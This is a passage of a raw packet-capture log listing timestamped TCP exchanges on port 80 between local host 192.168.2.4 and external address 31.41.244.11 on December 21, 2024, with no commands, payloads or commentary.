Dec 21, 2024 18:16:39.369366884 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.369368076 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.369431019 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.370537996 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.370610952 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.370656967 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.371257067 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.371292114 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.371316910 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.371392012 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.372196913 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.372349977 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.372409105 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.373090982 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.373138905 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.515777111 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.515801907 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.515836000 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.515836000 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.515984058 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.516001940 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.516032934 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.516061068 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.516889095 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.516963959 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.517129898 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.517208099 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.517880917 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.517935038 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.518030882 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.518230915 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.518707991 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.518759012 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.518942118 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.519175053 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.519716978 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.519788980 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.519840002 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.520131111 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.520649910 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.520713091 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.520750999 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.520821095 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.521670103 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.521703005 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.521749973 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.522660017 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.522773981 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.522820950 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.523181915 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.523617029 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.523763895 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.523813963 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.523859024 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.524801970 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.524919033 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.524930954 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.525234938 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.525748968 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.525775909 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.525821924 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.525821924 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.526372910 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.526432037 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.526479006 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.526676893 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.527255058 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.527338028 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.527369022 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.527590990 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.528204918 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.528283119 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.528312922 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.528481007 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.529138088 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.529186964 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.529306889 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.529398918 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.530142069 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.530220985 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.530224085 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.530431986 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.531069040 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.531150103 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.531194925 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.531263113 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.532007933 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.532077074 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.532108068 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.532162905 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.532949924 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.533010006 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.533056974 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.533112049 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.533900023 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.534046888 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.534142971 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.534195900 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.534917116 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.535008907 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.535018921 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.535056114 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.535815001 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.535949945 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.536081076 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.536081076 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.536731958 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.536772013 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.536860943 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.536860943 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.537739038 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.537820101 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.537842035 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.537897110 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.538634062 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.538702965 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.538742065 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.538790941 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.539814949 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.539904118 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.539949894 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.540041924 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.540744066 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.540808916 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.540883064 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.540883064 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.541604996 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.541632891 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.541680098 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.542475939 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.542510986 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.542604923 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.542669058 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.543378115 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.543431997 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.543477058 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.543786049 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.544339895 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.544383049 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.544410944 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.544482946 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.545277119 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.545373917 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.545397997 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.545470953 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.546225071 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.546320915 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.546339035 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.546680927 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.547153950 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.547203064 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.547260046 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.547321081 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.548166037 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.548194885 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.548228979 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.548230886 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.549108982 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.549187899 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.549283028 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.549335003 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.550005913 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.550122976 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.550187111 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.550945997 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.551018000 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.551064014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.551163912 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.551930904 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.552068949 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.552165031 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.552248001 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.552886009 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.553070068 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.553075075 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.553153992 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.555460930 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.555558920 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.555577040 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.555603981 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.555644989 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.555687904 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.555764914 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.555815935 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.555815935 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.555862904 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.555913925 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.556655884 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.556756020 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.556773901 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.556859970 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.557677984 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.557743073 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.558077097 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.558185101 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.558739901 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.558805943 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.558897972 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.558950901 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.559634924 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.559689045 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.559720993 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.559911966 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.560460091 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.560570955 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.560595989 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.560677052 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.561418056 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.561553001 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.561589956 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.561677933 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.562364101 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.562479019 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.562490940 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.562675953 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.563278913 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.563385963 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.563420057 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.563456059 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.564225912 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.564351082 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.564366102 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.564832926 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.565150976 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.565300941 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.707747936 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.707776070 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.707803011 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.707875013 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.708065033 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.708129883 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.708206892 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.708316088 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.708950043 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.708992958 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.709038973 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.709220886 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.709939957 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.710016012 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.710052967 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.710118055 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.710850000 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.710956097 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.710964918 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.711014986 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.711868048 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.711955070 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.711985111 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.712090015 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.712766886 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.712843895 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.712857962 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.712917089 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.713825941 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.713913918 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.713939905 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.713958979 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.714679003 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.714742899 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.714790106 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.714875937 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.715641022 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.715714931 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.715744019 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.715802908 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.716551065 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.716696978 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.716746092 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.717678070 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.717742920 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.717761040 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.717801094 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.718554020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.718600988 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.718617916 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.718662977 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.719424963 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.719554901 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.719575882 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.719629049 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.720323086 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.720448017 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.720448017 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.720541954 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.721291065 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.721349955 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.721395969 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.721577883 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.722275972 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.722338915 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.722346067 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.722387075 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.723179102 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.723264933 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.723295927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.723361969 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.724112034 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.724173069 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.724270105 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.724311113 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.725065947 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.725112915 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.725208044 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.725244999 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.726039886 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.726167917 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.726178885 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.726263046 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.727080107 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.727159977 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.727179050 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.727235079 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.727966070 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.728061914 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.728063107 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.728132010 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.728933096 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.728995085 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.729054928 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.729789972 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.729840040 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.729857922 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.729917049 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.730743885 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.730803013 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.730926037 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.730982065 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.731698990 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.731784105 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.731796026 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.731862068 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.732741117 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.732769012 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.732803106 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.732863903 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.733599901 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.733735085 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.733741045 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.733786106 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.734558105 CET	80	49826	31.41.244.11	192.168.2.4
